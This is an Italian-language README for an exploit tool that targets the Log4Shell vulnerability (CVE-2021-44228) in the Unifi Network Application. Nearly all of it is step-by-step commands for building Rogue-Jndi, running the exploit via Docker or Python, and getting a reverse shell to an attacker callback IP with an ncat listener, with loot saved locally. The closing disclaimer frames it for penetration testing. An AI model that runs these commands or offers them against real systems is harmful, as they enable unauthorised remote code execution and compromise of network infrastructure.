
Sfruttamento di CVE-2021-44228 in Unifi Network Application per l'esecuzione remota di codice e altro.
Sfruttamento di CVE-2021-44228 nella Unifi Network Application per esecuzione remota di codice e altro.
Le prove di concetto per questa vulnerabilità sono sparse e devono essere eseguite manualmente. Questo repository automatizza il processo di sfruttamento. Consulta il post del blog qui sopra per una guida alla post-sfruttamento.
Questo repository può essere usato manualmente o con Docker.
Per scaricare ed eseguire l'exploit manualmente, esegui i seguenti passaggi. Innanzitutto, assicurati che Java e Maven siano installati sul tuo host attaccante. Per farlo usando apt su sistemi operativi basati su Debian, esegui il seguente comando:
apt update && apt install openjdk-11-jre maven
Clona il repository GitHub e installa tutti i requisiti Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Dalla root del repository Log4jUnifi, compila il progetto Rogue-Jndi usando il comando qui sotto:
mvn package -f utils/rogue-jndi/
Innanzitutto, assicurati che Docker sia installato sul tuo host attaccante. (Non ti spiegherò come fare)
Successivamente, esegui il seguente comando per clonare il repository e creare l'immagine Docker che useremo.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Per eseguire il container, lancia un comando simile al seguente con i tuoi flag da riga di comando aggiunti. Nota che il container non catturerà la reverse shell. Devi creare un listener ncat in una sessione di shell separata:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Ottieni una reverse shell usando lo strumento installato sul tuo sistema locale:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Questo strumento è progettato per essere utilizzato durante test di penetrazione; l'utilizzo di questo strumento per attaccare obiettivi senza un previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio di questo programma.